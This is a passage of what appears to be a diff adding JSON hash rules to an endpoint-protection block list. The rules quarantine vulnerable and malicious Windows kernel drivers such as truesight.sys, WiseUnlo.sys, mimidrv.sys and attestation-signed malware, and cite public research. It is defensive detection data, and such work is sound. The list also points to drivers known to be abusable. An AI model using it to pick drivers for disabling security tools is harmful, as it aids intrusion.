+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e96546b5-17a4-598e-9a9e-22103f6e25d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978912Z",
+  "creation_date": "2026-03-23T11:45:29.978914Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978919Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e2449ccc74e745c0339850064313bdd8dc0eff17b3a4e0882184c9576ac93a89",
+  "comment": "Vulnerable Kernel Driver (aka Black.sys) [https://www.loldrivers.io/drivers/4b047bb8-c605-4664-baed-25bb70e864a1/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e96bafbc-d941-5f9a-8375-beb01ec155c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612974Z",
+  "creation_date": "2026-03-23T11:45:29.612976Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612981Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "734b74798a680d2e534c14a033858c4081c7879af1f48037d9d5483aa27a7e90",
+  "comment": "Marvin Test Solutions HW vulnerable driver (aka Hw.sys and Hw64.sys) [https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e96f5149-b3d7-5a25-b1fc-100855121a43",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616808Z",
+  "creation_date": "2026-03-23T11:45:29.616810Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616819Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aef3985caa213c9e5e0a0d5e75a9a7918a92c08690b5a04a6b14d6372c2dd71c",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e97d5826-1ef7-5acd-ac82-805bd4006eb3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976642Z",
+  "creation_date": "2026-03-23T11:45:29.976644Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976650Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd66e893300e7e59a749fe4e1b1706f8ccb5ae140254def9f5a614648e2da36f",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e981b70e-d33f-5727-a247-eedc09afefdd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620072Z",
+  "creation_date": "2026-03-23T11:45:29.620074Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620079Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9f1229cd8dd9092c27a01f5d56e3c0d59c2bb9f0139abf042e56f343637fda33",
+  "comment": "Intel vulnerable drivers (aka semav6msr.sys and piddrv64.sys) [https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e9891970-1b74-5879-8ef6-410e0bfe9146",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141612Z",
+  "creation_date": "2026-03-23T11:45:31.141614Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141619Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "40a9e2cd3755180f9b1ed21616ec9a8442d5618361a0a17b6332d1ae1bec5058",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e98a8bec-2318-552e-b78e-7ea8b59ef0ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819999Z",
+  "creation_date": "2026-03-23T11:45:31.820003Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820011Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "65799df3a3d3ba7f529daba403ee6c8f5240b6194822266a0fc8f439bb1fdd62",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e98b5d01-ec84-5f96-b279-7761d63cb762",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160065Z",
+  "creation_date": "2026-03-23T11:45:31.160067Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160072Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d7f81fb6afd180e9005b0c8dd178181a296952aab5e3b56c21597924c957edaa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e99216f8-ddb9-58a5-97eb-5fc46a15dad3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976210Z",
+  "creation_date": "2026-03-23T11:45:29.976212Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976218Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f461414a2596555cece5cfee65a3c22648db0082ca211f6238af8230e41b3212",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e99e5531-9025-5a1b-a59c-96b250bf1eeb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835085Z",
+  "creation_date": "2026-03-23T11:45:30.835088Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835097Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8db11ff4f0fbcf58ad118aefcc186ea7b273eefa9b537eee1ec92f0231c44e30",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e9a9c7af-9563-5ecd-badb-3ddae8aad830",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829154Z",
+  "creation_date": "2026-03-23T11:45:31.829157Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829166Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9103c9085a372f4e2a09da45ff210a8096b7dc0c404719504ebf74f009e5deb0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e9ac3a0a-e472-5549-9751-dd0c37185db5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822326Z",
+  "creation_date": "2026-03-23T11:45:31.822328Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822334Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8c827affab0c51c6388453fd855c304358a95e3b9fa4ca9101315169cde72d69",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e9b1fad4-f066-5e1f-adb4-50fdc9f69e93",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982964Z",
+  "creation_date": "2026-03-23T11:45:29.982966Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982971Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "daf549a7080d384ba99d1b5bd2383dbb1aa640f7ea3a216df1f08981508155f5",
+  "comment": "Vulnerable Kernel Driver (aka WiseUnlo.sys) [https://www.loldrivers.io/drivers/b28cc2ee-d4a2-4fe4-9acb-a7a61cad20c6/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e9b7835a-4ac1-5afb-8071-059bbc53e8a5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477548Z",
+  "creation_date": "2026-03-23T11:45:31.477552Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477562Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aa76f8a295e5013e85b3c8de9b8a4e5ca6052fffcf119a4c0be03743bba8221d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e9be632e-3671-57ba-ad85-dfd3b2c68f6b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819262Z",
+  "creation_date": "2026-03-23T11:45:31.819264Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819273Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6a532a1c1a6177ee75f189805855c15965e689140f2acc14ed4f81a8b82a9869",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e9d591b1-63b1-5b02-b5e2-dff6e1d5c554",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147639Z",
+  "creation_date": "2026-03-23T11:45:31.147641Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147646Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1821221fdd3984994974e6001eda4afbc6ef07e05206587a48cbd9b6d787f220",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e9d7c94d-fd73-50d4-94d7-6d8792e69d05",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148329Z",
+  "creation_date": "2026-03-23T11:45:31.148331Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148337Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "efc3fc8e98ffdc26239f584632c6c8c0ecdec9eb02e4e19ae126c153986bf5b8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e9e79f64-0c08-5f11-953f-b5f6812ffba2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464480Z",
+  "creation_date": "2026-03-23T11:45:30.464483Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464491Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4d42678df3917c37f44a1506307f1677b9a689efcf350b1acce7e6f64b514905",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e9e812b3-1427-5331-a84b-a55e4de5673f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815763Z",
+  "creation_date": "2026-03-23T11:45:31.815766Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815772Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9f96fb7c3a57c6efeb394f119d6965cceb9c58ec395671d12787f48389c0d676",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e9e9709e-0569-54b5-83e0-2ff5ae467c67",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.158935Z",
+  "creation_date": "2026-03-23T11:45:31.158937Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.158943Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1cbcb6ed0338f536d264cd4e851f1e34a84e733cc4d60519c416142f0b5982c7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e9f0ab3a-6209-5be8-94e3-4e17f969d091",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152960Z",
+  "creation_date": "2026-03-23T11:45:31.152963Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152971Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7bd2dd16cd005368abcea9c6f457853ab46a153d058b909f135394d48a3e399f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e9f3f13c-4d62-5364-86ec-f9858a7f1ef3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476468Z",
+  "creation_date": "2026-03-23T11:45:31.476471Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476481Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c1035795567d03236901340505b79a4dd1a7619dc22740a2f6a667ff53249248",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e9f7f05a-8b8b-5cbd-9a45-7310d0336d63",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
